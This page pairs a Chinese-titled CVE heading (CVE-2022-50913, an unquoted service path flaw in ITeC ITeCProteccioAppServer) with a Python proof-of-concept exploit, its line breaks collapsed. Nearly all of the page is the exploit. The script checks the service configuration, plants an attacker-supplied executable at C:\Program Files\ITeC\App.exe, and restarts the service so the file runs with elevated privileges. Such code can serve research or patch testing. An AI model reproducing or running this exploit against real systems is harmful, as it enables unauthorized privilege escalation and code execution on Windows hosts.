CVE-2022-50913 | ITeC ITeCProteccioAppServer 未引用服务路径权限提升漏洞

# CVE-2022-50913 PoC - Unquoted Service Path Exploitation # Target: ITeC ITeCProteccioAppServer # This PoC demonstrates how to exploit the unquoted service path vulnerability import os import subprocess import sys # Configuration SERVICE_NAME = "ITeCProteccioAppServer" MALICIOUS_EXE_PATH = r"C:\Program Files\ITeC\App.exe" # Path to inject PAYLOAD = r"C:\temp\malicious.exe" # Your actual malicious payload def check_service_path(): """Check the current service binary path configuration""" try: result = subprocess.run( ["sc", "qc", SERVICE_NAME], capture_output=True, text=True ) print(f"[+] Service Configuration for {SERVICE_NAME}:") print(result.stdout) return True except Exception as e: print(f"[-] Error querying service: {e}") return False def create_malicious_exe(): """Create a placeholder malicious executable""" try: # Create directory structure if needed directory = os.path.dirname(MALICIOUS_EXE_PATH) if not os.path.exists(directory): os.makedirs(directory) # Copy payload to the unquoted path location if os.path.exists(PAYLOAD): import shutil shutil.copy2(PAYLOAD, MALICIOUS_EXE_PATH) print(f"[+] Malicious executable placed at: {MALICIOUS_EXE_PATH}") return True else: print(f"[-] Payload not found at: {PAYLOAD}") return False except PermissionError: print("[-] Insufficient privileges to write to service path") print("[*] This exploit requires low-privilege access to target path") return False def trigger_service_restart(): """Attempt to restart the service to trigger payload execution""" try: # Method 1: Service restart subprocess.run(["net", "stop", SERVICE_NAME], capture_output=True) subprocess.run(["net", "start", SERVICE_NAME], capture_output=True) print("[+] Service restart attempted") except Exception as e: print(f"[*] Could not restart service automatically: {e}") print("[*] Service restart may require admin privileges or system reboot") if __name__ == "__main__": print("=" * 60) print("CVE-2022-50913 Unquoted Service Path Exploitation") print("Target: ITeC ITeCProteccioAppServer") print("=" * 60) # Step 1: Check service configuration if check_service_path(): # Step 2: Place malicious executable if create_malicious_exe(): # Step 3: Trigger execution trigger_service_restart() print("\n[*] Note: Actual exploitation requires:") print(" 1. Write access to intermediate path directory") print(" 2. Service restart or system reboot") print(" 3. Appropriate payload for target environment")